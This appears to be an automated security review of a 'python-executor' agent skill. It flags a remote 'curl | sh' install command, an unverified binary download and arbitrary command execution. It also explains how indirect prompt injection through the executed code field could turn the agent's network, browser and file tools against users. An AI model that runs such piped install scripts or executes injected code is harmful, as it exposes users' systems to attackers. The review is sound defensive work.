The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill documentation provides an installation command curl -fsSL https://cli.inference.sh | sh which downloads and executes an arbitrary shell script from a remote domain. This source is not on the trusted vendors list and represents a significant security risk.
[EXTERNAL_DOWNLOADS]: The skill's installation process involves downloading a binary executable from dist.inference.sh. This external resource is not verified within the skill's manifest and originates from a non-trusted domain.
[COMMAND_EXECUTION]: The skill utilizes the infsh command-line tool to execute logic. This capability allows the agent to run arbitrary code and interact with the underlying system or the remote sandboxed environment.
[PROMPT_INJECTION]: The skill is highly susceptible to indirect prompt injection because it executes Python code based on input that may contain instructions from untrusted sources.
Ingestion points: The code field in the input JSON processes free-form text strings as executable code.
Boundary markers: There are no boundary markers or instructions to the LLM to ignore or sanitize embedded instructions within the code block.
Capability inventory: The environment provided by infsh includes extensive libraries for network access (requests, httpx, aiohttp), browser automation (selenium, playwright), and file manipulation, providing a powerful toolkit for potential attackers.
Sanitization: The skill does not perform any validation, sanitization, or safety checks on the Python code before passing it to the execution engine.

python-executor